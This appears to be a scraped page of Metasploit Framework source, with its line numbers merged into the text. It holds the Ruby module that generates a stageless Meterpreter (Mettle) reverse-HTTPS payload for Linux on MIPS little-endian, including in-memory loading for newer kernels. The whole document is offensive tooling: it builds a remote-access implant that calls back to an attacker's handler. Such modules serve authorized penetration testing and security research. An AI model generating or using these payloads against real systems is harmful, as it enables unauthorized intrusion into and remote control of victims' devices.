Path: blob/master/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
31205 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456# Module generated by tools/modules/generate_mettle_payloads.rb7module MetasploitModule89CachedSize = 15884441011include Msf::Payload::Single12include Msf::Sessions::MeterpreterOptions::Linux13include Msf::Sessions::MettleConfig14include Msf::Payload::Linux::Mipsle::ElfLoader15include Msf::Payload::Linux::Mipsle::Prepends1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',22'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',23'Author' => [24'Adam Cammack <adam_cammack[at]rapid7.com>',25'Brent Cook <brent_cook[at]rapid7.com>',26'timwr'27],28'Platform' => 'linux',29'Arch' => ARCH_MIPSLE,30'License' => MSF_LICENSE,31'Handler' => Msf::Handler::ReverseHttps,32'Session' => Msf::Sessions::Meterpreter_mipsle_Linux33)34)35end3637def generate(_opts = {})38opts = {39scheme: 'https',40stageless: true41}.merge(mettle_logging_config)42payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec43ds = opts[:datastore] || datastore44if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')45return payload46end47in_memory_load(payload) + payload48end49end505152